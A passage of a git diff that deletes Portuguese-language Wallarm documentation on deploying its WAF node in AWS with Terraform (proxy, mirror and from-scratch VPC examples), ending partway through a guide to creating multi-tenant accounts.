VPC configurados. Este exemplo de implantação inicia o [módulo Terraform AWS VPC](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/) junto com o módulo Terraform Wallarm para criar recursos da VPC e integrar o Wallarm a eles. -* Você deseja aprender o modo como o módulo Wallarm é integrado com a AWS VPC, os recursos da VPC e as variáveis do módulo necessárias para essa integração. - -## Características principais - -* Wallarm processa tráfego no modo síncrono que não limita as capacidades do Wallarm e permite a mitigação instantânea de ameaças (`preset=proxy`). -* A solução Wallarm é implantada como uma camada de rede separada que permite que você a controle independentemente de outras camadas e coloque a camada em quase qualquer posição na estrutura da rede. A posição recomendada está atrás de um balanceador de carga voltado para a internet. -* Esta solução não requer que os recursos de DNS e SSL sejam configurados. -* Ele cria recursos da VPC e integra automaticamente o proxy inline Wallarm à VPC criada enquanto o exemplo de proxy regular requer que os recursos da VPC existam e solicita seus identificadores. -* A única variável necessária para executar este exemplo é `token` com o token de nó Wallarm. - -## Arquitetura da solução - -![Esquema de proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -Esta solução de exemplo tem a mesma arquitetura que a [solução de proxy regular](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy): - -* Recursos da AWS VPC, incluindo sub-redes, NATs, tabelas de roteamento, EIPs, etc., serão implantados automaticamente pelo módulo [`vpc`](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/) durante este lançamento de exemplo. Eles não estão exibidos no esquema fornecido. -* Balanceador de Carga de Aplicação voltado para a Internet roteando tráfego para instâncias de nó Wallarm. Este componente será implantado pelo módulo de exemplo `wallarm` fornecido. -* Instâncias de nó Wallarm analisando o tráfego e encaminhando quaisquer solicitações adicionais. Elementos correspondentes no esquema são instâncias EC2 A, B, C. Este componente será implantado pelo módulo de exemplo `wallarm` fornecido. - - O exemplo executa nós Wallarm no modo de monitoramento que direciona o comportamento descrito. Os nós Wallarm também podem operar em outros modos, incluindo aqueles voltados para bloquear solicitações maliciosas e encaminhar apenas as legítimas. Para saber mais sobre os modos de nó Wallarm, use [nossa documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* Os serviços para os quais os nós Wallarm encaminham solicitações. O serviço pode ser de qualquer tipo, por exemplo: - - * Aplicação AWS API Gateway conectada à VPC por meio de Endpoints da VPC (a implantação correspondente do Terraform Wallarm é abordada no [exemplo para API Gateway](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)) - * AWS S3 - * Nós EKS em execução no cluster EKS (configuração do Balanceador de Carga Interno ou Serviço NodePort é recomendada para este caso) - * Qualquer outro serviço de back-end - - Por padrão, os nós Wallarm encaminharão o tráfego para `https://httpbin.org`. Durante o lançamento deste exemplo, você poderá especificar qualquer outro domínio de serviço ou caminho disponível a partir da Nuvem Privada Virtual AWS (VPC) para encaminhar o tráfego. - -## Componentes do código - -Este exemplo possui apenas o arquivo de configuração `main.tf` com as seguintes configurações do módulo: - -* Configurações do módulo [`vpc`](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws/) para criar recursos AWS VPS. -* O módulo `wallarm` com a configuração Wallarm a ser implantada como uma solução de proxy. A configuração produz um ALB AWS e instâncias Wallarm. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso à conta com a função **Administrador** no Console Wallarm na [Nuvem UE](https://my.wallarm.com/) ou [Nuvem US](https://us1.my.wallarm.com/) -* Acesso a `https://api.wallarm.com` se estiver trabalhando com Nuvem Wallarm UE ou a `https://us1.api.wallarm.com` se estiver trabalhando com Nuvem Wallarm US. Certifique-se de que o acesso não está bloqueado por um firewall - -## Executando o exemplo de solução de proxy AWS Wallarm - -1. Inscreva-se no Console Wallarm na [Nuvem UE](https://my.wallarm.com/nodes) ou [Nuvem US](https://us1.my.wallarm.com/nodes). -1. Abra o Console Wallarm → **Nós** e crie o nó do tipo **Nó Wallarm**. -1. Copie o token de nó gerado. -1. Clone o repositório contendo o código de exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores das variáveis nas opções `default` no arquivo `examples/from-scratch/variables.tf` do repositório clonado e salve as alterações. -1. Implante a pilha executando os seguintes comandos a partir do diretório `examples/from-scratch`: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [Documentação Wallarm](https://docs.wallarm.com) -* [Módulo Terraform que cria recursos VPC na AWS](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws) -* [VPC AWS com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/mirror/README.ja.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/mirror/README.ja.md deleted file mode 100644 index 49dfce3732..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/mirror/README.ja.md +++ /dev/null @@ -1,68 +0,0 @@ -# Implantando o Espelhamento Wallarm OOB de NGINX, Envoy, e semelhantes com o Módulo Terraform - -Este artigo mostra um **exemplo** de como usar o [Módulo Terraform da Wallarm](https://registry.terraform.io/modules/wallarm/wallarm/aws/) para implantar a Wallarm no AWS como uma solução Out-of-Band. É esperado que NGINX, Envoy, Istio, e/ou Traefik forneçam espelhamento de tráfego. - -## Características principais - -* Wallarm processa tráfego em um modo assíncrono (`preset=mirror`), sem afetar o fluxo de tráfego atual, tornando essa abordagem a mais segura. -* A solução Wallarm é implantada como uma camada de rede separada, controlável independentemente de outras camadas, e pode ser posicionada em quase qualquer lugar na estrutura de rede. O local recomendado é dentro de uma rede privada. - -## Arquitetura da solução - -![Wallarm para tráfego espelhado](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-for-mirrored-traffic.png?raw=true) - -A solução Wallarm nesta demonstração inclui: - -* Balanceador de carga com interface para a Internet (Internet-facing) que roteia tráfego para instâncias de nó Wallarm. É esperado que o balanceador de carga já esteja implantado, e o módulo `wallarm` não criará este recurso. -* Qualquer servidor web ou proxy que forneça tráfego do balanceador de carga e espelhe solicitações HTTP para o ponto de extremidade do ALB interno e o serviço backend (ex: NGINX, Envoy). O componente usado para espelhamento de tráfego é esperado que já esteja implantado, e o módulo `wallarm` não criará este recurso. -* ALB interno que aceita solicitações HTTPS espelhadas do servidor web ou proxy e as redireciona para instâncias de nó Wallarm. -* Nó Wallarm que analisa solicitações vindo do ALB interno e envia dados de tráfego malicioso para a nuvem Wallarm. - - Nesta demonstração, o nó Wallarm é executado no modo de monitoramento que conduz ao comportamento descrito acima. Ao mudar o [modo](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) para outro valor, o nó continuará a monitorar o tráfego, uma vez que a abordagem [OOB](https://docs.wallarm.com/installation/oob/overview/#advantages-and-limitations) não permite bloquear ataques. - -Os dois últimos componentes são implantados pelo módulo `wallarm` do exemplo fornecido. - -## Componentes do código - -Este exemplo inclui os seguintes componentes de código: - -* `main.tf`: configuração principal do módulo `wallarm` que é implantado como uma solução de espelhamento. Esta configuração gera o ALB interno da AWS e as instâncias Wallarm. - -## Configurando o espelhamento de solicitações HTTP - -O espelhamento de tráfego é um recurso oferecido por vários servidores web e proxies. Este [link](https://docs.wallarm.com/installation/oob/web-server-mirroring/overview/#examples-of-web-server-configuration-for-traffic-mirroring) fornece documentação sobre como configurar o espelhamento de tráfego em vários servidores. - -## Limitações - -Apesar da solução do exemplo descrito ser a solução Wallarm Out-of-Band mais funcional, existem algumas limitações inerentes à abordagem assíncrona: - -* Como a análise de tráfego acontece independentemente do fluxo de tráfego atual, o nó Wallarm não bloqueará solicitações maliciosas instantaneamente. -* Esta solução requer componentes adicionais, que são um servidor web ou proxy que fornece espelhamento de tráfego ou uma ferramenta semelhante (ex: NGINX, Envoy, Istio, Traefik, módulo Kong personalizado, etc). - -## Executando a solução de espelhamento do exemplo Wallarm - -1. Cadastre-se no console Wallarm na [Nuvem EU](https://my.wallarm.com/nodes) ou [Nuvem US](https://us1.my.wallarm.com/nodes). -1. Abra Wallarm Console → **Nós** e crie um nó do tipo **Nó Wallarm**. -1. Copie o token do nó gerado. -1. Clone o repositório que contém o código do exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Configure os valores das variáveis na opção `default` do arquivo `variables.tf` no repositório clonado em `examples/mirror` e salve as alterações. -1. A partir do diretório `examples/mirror`, execute os seguintes comandos para implantar a stack: - - ``` - terraform init - terraform apply - ``` - -Para destruir o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Material de referência - -* [VPC da AWS com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/mirror/README.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/mirror/README.md deleted file mode 100644 index 31ac38bb6b..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/mirror/README.md +++ /dev/null @@ -1,73 +0,0 @@ -# Implementando Wallarm OOB para NGINX, Envoy e espelhamento semelhante usando o Módulo Terraform - -Este artigo demonstra o **exemplo** de como implementar o Wallarm na AWS como uma solução Out-of-Band usando o [módulo Terraform do Wallarm](https://registry.terraform.io/modules/wallarm/wallarm/aws/). É esperado que NGINX, Envoy, Istio e/ou Traefik forneçam espelhamento de tráfego. - -## Casos de uso - -Entre todas as [opções de implementação do Wallarm suportadas](https://docs.wallarm.com/installation/supported-deployment-options), o módulo Terraform é recomendado para a implementação do Wallarm na AWS VPC nestes **casos de uso**: - -* Sua infraestrutura existente reside na AWS. -* Você aproveita a prática de Infraestrutura como Código (IaC). O módulo Terraform do Wallarm permite a gestão e provisionamento automatizado do nó Wallarm na AWS, melhorando a eficiência e consistência. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso à conta com a [função](https://docs.wallarm.com/user-guides/settings/users/#user-roles) de **Administrador** no Console Wallarm nos Clouds EUA ou UE [Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud) -* Acesso à `https://us1.api.wallarm.com` se trabalhar com o Wallarm Cloud dos EUA ou a `https://api.wallarm.com` se trabalhar com a Wallarm na Nuvem da UE. Por favor, verifique se o acesso não está sendo bloqueado por um firewall - -## Arquitetura da solução - -![Wallarm para tráfego espelhado](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-for-mirrored-traffic.png?raw=true) - -Esta solução Wallarm tem os seguintes componentes: - -* Balanceador de carga internet-facing direcionando o tráfego para as instâncias do nó Wallarm. Espera-se que um balanceador de carga já tenha sido implementado, o módulo `wallarm` não criará este recurso. -* Qualquer servidor web ou proxy (por exemplo, NGINX, Envoy) servindo tráfego de um balanceador de carga e espelhando solicitações HTTP para um endPoint ALB interno e serviços de back-end. Espera-se que o componente utilizado para o espelhamento de tráfego já tenha sido implementado, o módulo `wallarm` não criará este recurso. -* Um ALB interno aceitando solicitações HTTPS espelhadas de um servidor web ou proxy e as direcionando para as instâncias do nó Wallarm. -* Nó Wallarm analisando solicitações de um ALB interno e enviando dados de tráfego mal-intencionado para a Nuvem Wallarm. - - O exemplo executa os nós Wallarm no modo de monitoramento que impulsiona o comportamento descrito. Se você trocar o [modo](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) para outro valor, os nós continuam a monitorar apenas o tráfego, já que a abordagem [OOB](https://docs.wallarm.com/installation/oob/overview/#advantages-and-limitations) não permite o bloqueio de ataques. - -Os dois últimos componentes serão implementados pelo módulo `wallarm` fornecido como exemplo. - -## Componentes de código - -Este exemplo tem os seguintes componentes de código: - -* `main.tf`: a principal configuração do módulo `wallarm` a ser implementado como uma solução de espelhamento. A configuração gera um ALB interno na AWS e instâncias Wallarm. - -## Executando a solução espelho Wallarm de exemplo - -Para executar a solução espelho Wallarm de exemplo, você precisa configurar o espelhamento de solicitações HTTP e, em seguida, implementar a solução. - -### 1. Configurando o espelhamento de solicitações HTTP - -O espelhamento de tráfego é um recurso fornecido por muitos servidores web e proxy. O [link](https://docs.wallarm.com/installation/oob/web-server-mirroring/overview/#examples-of-web-server-configuration-for-traffic-mirroring) fornece a documentação sobre como configurar o espelhamento de tráfego com alguns deles. - -### 2. Implementar a solução espelho Wallarm de exemplo - -1. Registre-se no Console Wallarm na [Nuvem da UE](https://my.wallarm.com/nodes) ou [Nuvem dos EUA](https://us1.my.wallarm.com/nodes). -1. Abra o Console Wallarm → **Nodes** e crie o nó do tipo **Nó Wallarm**. -1. Copie o token do nó gerado. -1. Clone o repositório contendo o código de exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores das variáveis nas opções `default` no arquivo `examples/mirror/variables.tf` do repositório clonado e salve as alterações. -1. Implemente a pilha executando os seguintes comandos no diretório `examples/mirror`: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implementado, use o seguinte comando: - -``` -terraform destroy -``` - -## Referências - -* [AWS VPC com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/proxy/README.ja.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/proxy/README.ja.md deleted file mode 100644 index b2d74c8517..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/proxy/README.ja.md +++ /dev/null @@ -1,100 +0,0 @@ - # Implantação do Wallarm como um Proxy no AWS VPC - -Este exemplo descreve como implantar o Wallarm como um proxy inline em uma Virtual Private Cloud (VPC) da AWS usando o [módulo Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -A solução de proxy Wallarm fornece uma camada de rede adicional que atua como um roteador de tráfego HTTP avançado com recursos de WAF e segurança de API. - -Você pode verificar a flexibilidade da solução testando a [solução proxy avançada](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced). - -## Principais Características - -* Wallarm processa o tráfego em modo síncrono, permitindo a mitigação imediata de ameaças sem limitar os recursos do Wallarm (`preset=proxy`). -* A solução Wallarm é implantada como uma camada de rede separada que pode ser controlada independentemente das outras camadas, permitindo a alocação da camada em quase qualquer posição na estrutura de rede. A posição recomendada está atrás dos balanceadores de carga voltados para a internet. - -## Arquitetura da Solução - -![Esquema do proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -Um exemplo de solução de proxy Wallarm inclui os seguintes componentes: - -* Um Application Load Balancer voltado para a Internet para rotear o tráfego para as instâncias do nó Wallarm. -* Instâncias do nó Wallarm para analisar o tráfego e proxy adicional de qualquer pedido. Os elementos correspondentes são instâncias EC2 A, B e C no esquema. - - Neste exemplo, os nós Wallarm operam em um modo de monitoramento que produz o comportamento descrito. Os nós Wallarm também podem operar em outros modos voltados para o bloqueio de pedidos maliciosos e o encaminhamento adicional apenas de pedidos legítimos. Consulte a [nossa documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) para detalhes dos modos dos nós Wallarm. -* O serviço para o qual o nó Wallarm faz proxy do pedido. O serviço pode ser de qualquer tipo. Por exemplo: - - * Uma aplicação AWS API Gateway conectada à VPC através do endpoint da VPC (a implantação do Terraform do Wallarm correspondente é abordada no [exemplo API Gateway](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)). - * AWS S3 - * Nó EKS executando dentro do cluster EKS (para este caso, recomenda-se usar a Configuração do Internal Load Balancer ou do Serviço NodePort) - * Outros serviços de backend - - Por padrão, os nós Wallarm fazem proxy de tráfego para `https://httpbin.org`. Durante o lançamento do exemplo, você pode especificar qualquer outro domínio ou caminho de serviço acessível a partir da Virtual Private Cloud (VPC) da AWS para fazer proxy do tráfego. - - Usando a opção de configuração do módulo `https_redirect_code = 302`, você pode voltar os pedidos HTTP para HTTPS de forma segura utilizando o AWS ALB. - -Os componentes listados (exceto o servidor proxy) são implantados pelo módulo de exemplo `wallarm` fornecido. - -## Componentes do Código - -Este exemplo inclui os seguintes componentes de código: - -* `main.tf`: A configuração principal do módulo `wallarm` implantado como solução de proxy. A configuração cria a instância AWS ALB e do Wallarm. -* `ssl.tf`: Configuração de offload SSL/TLS que emite automaticamente um novo AWS Certificate Manager (ACM) para o domínio especificado pelo `variable_name` e associa o mesmo ao ALB da AWS. - - Para desativar esta funcionalidade, comente os ficheiros `ssl.tf` e `dns.tf` e comente adicionalmente as opções `lb_ssl_enabled`, `lb_certificate_arn`, `https_redirect_code`, `depends_on` na definição do módulo `wallarm`. Com esta funcionalidade desativada, apenas a porta HTTP (80) estará disponível. -* `dns.tf`: Configuração do AWS Route 53 para provisionar registros DNS para o ALB da AWS. - - Siga as instruções acima para desativar esta funcionalidade. - -## Requisitos - -* Terraform 1.0.5 ou mais recente [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso a uma conta com a função de **administrador** no console Wallarm [EU Cloud](https://my.wallarm.com/) ou [US Cloud](https://us1.my.wallarm.com/) -* Acesso a `https://api.wallarm.com` se estiver colaborando com a Wallarm Cloud EU, ou `https://us1.api.wallarm.com` se estiver colaborando com a Wallarm Cloud US. Verifique se o firewall não está bloqueando o acesso. -* Para testar o exemplo com os recursos SSL e DNS habilitados, você precisará configurar a [zona de hospedagem do Route 53](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/hosted-zones-working-with.html.) - -## Executando o Exemplo de Solução Proxy Wallarm AWS - -1. Faça o cadastro no console Wallarm [EU Cloud](https://my.wallarm.com/nodes) ou [US Cloud](https://us1.my.wallarm.com/nodes). -1. Abra **Nós** no console do Wallarm e crie um nó do tipo **Nó Wallarm**. -1. Copie o token do nó gerado. -1. Clone o repositório que contém o código do exemplo na sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores das variáveis na opção `default` do arquivo `variables.tf` dentro do repositório clonado `examples/proxy`, e salve as alterações. -1. Defina o protocolo e o endereço do seu servidor proxy em `proxy_pass` em `examples/proxy/main.tf`. - - Por padrão, o Wallarm faz proxy do tráfego para `https://httpbin.org`. Se o valor padrão atende às suas necessidades, deixe-o como está. -1. A partir do diretório `examples/proxy`, execute os seguintes comandos para implantar a pilha: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, utilize o seguinte comando: - -``` -terraform destroy -``` - -## Solução de Problemas - -### A Wallarm está recreando constantemente instâncias - -As configurações do grupo de auto scaling da AWS fornecido estão focadas na melhor confiabilidade e disponibilidade do serviço. Se o grupo de Auto Scaling da AWS estiver criando e terminando constantemente as instâncias EC2 durante a inicialização, é possível que a verificação de integridade esteja falhando. - -Para resolver este problema, verifique e corrija as seguintes configurações: - -* O token do nó Wallarm é um valor válido que foi copiado da UI do console Wallarm. -* A configuração NGINX é válida. -* O nome do domínio especificado na configuração NGINX é resolvido corretamente (por exemplo, o valor de `proxy_pass`). - -**Medida Extrema** Se o problema não for resolvido embora as configurações acima estejam corretas, você pode desabilitar manualmente o health check do ELB nas configurações do grupo Auto Scaling para encontrar a causa do problema. Isso manterá a instância ativa mesmo se a configuração do serviço estiver inválida, e a instância não será reiniciada. Isso proporcionará tempo para examinar detalhadamente os logs e depurar o serviço, e o problema poderá ser resolvido em alguns minutos. - -## Recursos Adicionais - -* [Certificado AWS ACM](https://docs.aws.amazon.com/acm/latest/userguide/gs.html) -* [AWS VPC com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/proxy/README.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/proxy/README.md deleted file mode 100644 index 3941b657cc..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/proxy/README.md +++ /dev/null @@ -1,102 +0,0 @@ -# Implementando Wallarm como Proxy no AWS VPC - -Este exemplo demonstra como implementar o Wallarm como um proxy inline para uma nuvem privada virtual AWS (VPC) existente, usando o [módulo Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -A solução de proxy Wallarm fornece uma camada de rede funcional adicional atuando como um roteador de tráfego HTTP avançado com as funções de segurança WAF e API. - -Você pode ver a flexibilidade da solução em ação experimentando a [solução de proxy avançada](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced). - -## Casos de uso - -Entre todas as [opções de implementação da Wallarm](https://docs.wallarm.com/installation/supported-deployment-options) suportadas, o módulo Terraform é recomendado para a implementação Wallarm no AWS VPC nestes **casos de uso**: - -* Sua infraestrutura existente reside na AWS. -* Você utiliza a prática de Infraestrutura como Código (IaC). O módulo Terraform Wallarm permite o gerenciamento e provisionamento automatizados do nó Wallarm na AWS, aumentando a eficiência e consistência. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso à conta com o [papel](https://docs.wallarm.com/user-guides/settings/users/#user-roles) de **Administrador** no Console Wallarm na nuvem dos EUA ou da UE. -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com Wallarm Cloud dos EUA ou a `https://api.wallarm.com` se estiver trabalhando com Wallarm Cloud da UE. Certifique-se de que o acesso não está bloqueado por um firewall. - -## Arquitetura da solução - -![Esquema do proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -A solução de proxy de exemplo da Wallarm tem os seguintes componentes: - -* Balanceador de carga de aplicativo voltado para a internet que direciona o tráfego para as instâncias do nó Wallarm. -* Instâncias de nós Wallarm analisando o tráfego e fazendo proxy de quaisquer solicitações subsequentes. Os elementos correspondentes no esquema são as instâncias EC2 A, B, C. - - O exemplo executa os nós Wallarm no modo de monitoramento que impulsiona o comportamento descrito. Os nós da Wallarm também podem operar em outros modos, incluindo aqueles destinados a bloquear solicitações maliciosas e encaminhar apenas aquelas legítimas. Para saber mais sobre os modos de nó do Wallarm, use [nossa documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/). -* Os serviços aos quais os nós Wallarm fazem proxy das solicitações. O serviço pode ser de qualquer tipo, por exemplo: - - * Aplicação AWS API Gateway conectada à VPC via VPC Endpoints (a implementação correspondente do Terraform Wallarm é abordada no [exemplo para API Gateway](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)) - * AWS S3 - * Nós EKS executando no cluster EKS (a configuração de um Balanceador de Carga Interno ou serviço NodePort é recomendada para este caso) - * Qualquer outro serviço de backend - - Por padrão, os nós Wallarm rotearão o tráfego para `https://httpbin.org`. Durante o lançamento deste exemplo, você poderá especificar qualquer outro domínio de serviço ou caminho disponível em Virtual Private Cloud (VPC) para fazer o proxy do tráfego. - - A opção de configuração do módulo `https_redirect_code = 302` permitirá redirecionar com segurança as solicitações HTTP para HTTPS pelo AWS ALB. - -Todos os componentes listados (exceto o servidor roteado) serão implementados pelo módulo de exemplo `wallarm` fornecido. - -## Componentes de código - -Este exemplo possui os seguintes componentes de código: - -* `main.tf`: a configuração principal do módulo `wallarm` a ser implementado como uma solução de proxy. A configuração produz um AWS ALB e instâncias Wallarm. -* `ssl.tf`: a configuração de descarregamento SSL/TLS que emite automaticamente um novo Certificado de Gerenciador AWS (ACM) para o domínio especificado na variável `domain_name` e o vincula ao AWS ALB. - - Para desativar o recurso, remova ou comente as instruções nos arquivos `ssl.tf` e `dns.tf`, e também desabilite as opções `lb_ssl_enabled`, `lb_certificate_arn`, `https_redirect_code`, `depends_on` na definição do módulo `wallarm`. Com o recurso desativado, você poderá usar apenas a porta HTTP (80). -* `dns.tf`: Provisão de configuração AWS Route 53 para registro DNS para o AWS ALB. - - Para desativar o recurso, siga a nota acima. - -## Executando a solução de proxy Wallarm AWS de exemplo - -1. Cadastre-se no Console Wallarm na [Nuvem da UE](https://my.wallarm.com/nodes) ou [Nuvem dos EUA](https://us1.my.wallarm.com/nodes). -1. Abra o Console Wallarm → **Nodes** e crie o nó do tipo **Wallarm node**. -1. Copie o token do nó gerado. -1. Clone o repositório contendo o código de exemplo para sua máquina: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Defina os valores das variáveis nas opções `default` no arquivo `examples/proxy/variables.tf` do repositório clonado e salve as alterações. -1. Defina o protocolo do servidor roteado e o endereço em `examples/proxy/main.tf` → `proxy_pass`. - - Por padrão, a Wallarm roteará o tráfego para `https://httpbin.org`. Se o valor padrão atender às suas necessidades, deixe-o inalterado. -1. Implemente a pilha executando os seguintes comandos do diretório `examples/proxy`: - - ``` - terraform init - terraform apply - ``` - -Para remover o ambiente implantado, use o seguinte comando: - -``` -terraform destroy -``` - -## Solução de problemas - -### Wallarm cria e termina instâncias repetidamente - -A configuração fornecida do grupo de Auto Scaling AWS se concentra na mais alta confiabilidade e suavidade do serviço. A criação e terminação repetidas de instâncias EC2 durante a inicialização do grupo de Auto Scaling AWS podem ser causadas por falhas nas verificações de integridade. - -Para resolver o problema, revise e conserte as seguintes configurações: - -* O token do nó Wallarm tem o valor válido copiado da IU do Console Wallarm -* A configuração do NGINX é válida -* Os nomes de domínio especificados na configuração do NGINX foram resolvidos com sucesso (por exemplo, o valor `proxy_pass`) - - -**VIA EXTREMA** Se as configurações acima forem válidas, você pode tentar encontrar a razão do problema desabilitando manualmente as verificações de integridade da ELB nas configurações do grupo de Auto Scaling. Isso manterá as instâncias ativas mesmo se a configuração do serviço for inválida, as instâncias não serão reiniciadas. Você será capaz de analisar completamente os logs e depurar o serviço, ao invés de investigar o problema em poucos minutos. - -## Referências - -* [Certificados ACM da AWS](https://docs.aws.amazon.com/acm/latest/userguide/gs.html) -* [VPC AWS com sub-redes públicas e privadas (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/multi-tenant/configure-accounts.md b/docs/latest-pt-BR/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index fa303a55e1..0000000000 --- a/docs/latest-pt-BR/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1,150 +0,0 @@ -# Criando Contas de Inquilino no Console Wallarm - -Estas instruções fornecem a você os passos para a configuração correta de [contas de inquilino](overview.md). - ---8<-- "../include-pt-BR/waf/features/multi-tenancy/partner-client-term.md" - -## Configurando contas de inquilino - -Para configurar contas de inquilino: - -1. Inscreva-se no Console Wallarm e envie uma solicitação para ativar o recurso de multilocação para sua conta para suporte técnico da Wallarm. -1. Crie uma conta de inquilino. -1. Associe tráfego específico ao inquilino e seus aplicativos. - -### Passo 1: Inscreva-se e envie uma solicitação para ativar o recurso de multilocação - -1. Preencha e confirme o formulário de registro no Console Wallarm na [Nuvem US](https://us1.my.wallarm.com/signup) ou [Nuvem EU](https://my.wallarm.com/signup). - - ![Formulário de registro](../../images/signup-en.png) - - !!! informação "Email empresarial" - Por favor inscreva-se usando um endereço de email empresarial. -2. Abra sua caixa de entrada de e-mail e ative a conta usando o link da mensagem recebida. -3. Envie uma solicitação para ativar o recurso de multilocação para sua conta para o [suporte técnico da Wallarm](mailto:support@wallarm.com). Envie os seguintes dados com a solicitação: - * Nome da Nuvem Wallarm sendo utilizada (Nuvem US ou Nuvem EU) - * Nomes de uma conta global e conta de inquilino técnico - * Endereços de e-mail dos funcionários a serem fornecidos com acesso a contas de inquilino (após ativar o recurso de multilocação, você poderá adicionar funcionários você mesmo) - * Logotipo para o Console Wallarm - * Domínio personalizado para o Console Wallarm, certificado e chave de criptografia para o domínio - * Seu endereço de e-mail de suporte técnico - -Depois de receber sua solicitação, o suporte técnico da Wallarm irá: - -1. Criar uma conta global e conta de inquilino técnico na Nuvem Wallarm. -2. Adicioná-lo à lista de usuários da conta de cliente técnica com o [papel](../../user-guides/settings/users.md) de **Administrador Global**. -3. Se os endereços de e-mail dos funcionários forem fornecidos, o suporte técnico da Wallarm adicionará funcionários à lista de usuários da conta de inquilino técnica com o [papel](../../user-guides/settings/users.md) de **Apenas leitura global**. - - Funcionários não registrados receberão e-mails com o link para definir uma nova senha para acessar a conta de inquilino técnico. -4. Enviar seu UUID (o principal UUID de inquilino indicando a empresa parceira Wallarm ou cliente Wallarm usando multilocação para ambientes isolados). - - O UUID recebido será necessário nas próximas etapas. - -### Passo 2: Criar o inquilino - -#### Via Console Wallarm - -Embaixo da conta de **Administrador Global**, você pode criar inquilinos via Console Wallarm → seletor de inquilinos → **Criar inquilino**. - -![!Criando inquilino via Console Wallarm](../../images/partner-waf-node/tenant-create-via-ui.png) - -Você pode criar um novo [usuário](../../user-guides/settings/users.md#user-roles) **Administrador** para seu novo inquilino. O e-mail de convite será enviado para o endereço especificado. - -#### Via API Wallarm - -Para criar o inquilino, você pode enviar solicitações autenticadas para a API Wallarm. Solicitações autenticadas para a API Wallarm podem ser enviadas do seu próprio cliente da API ou do [Console API Wallarm](../../api/overview.md) que define o método de autenticação: - -* Para solicitações serem enviadas do **Console API Wallarm**, é necessário fazer login no Console Wallarm com o papel de usuário **Administrador Global** e atualizar a página do Console API Wallarm disponível em: - * https://apiconsole.us1.wallarm.com/ para a Nuvem US - * https://apiconsole.eu1.wallarm.com/ para a Nuvem EU -* Para solicitações serem 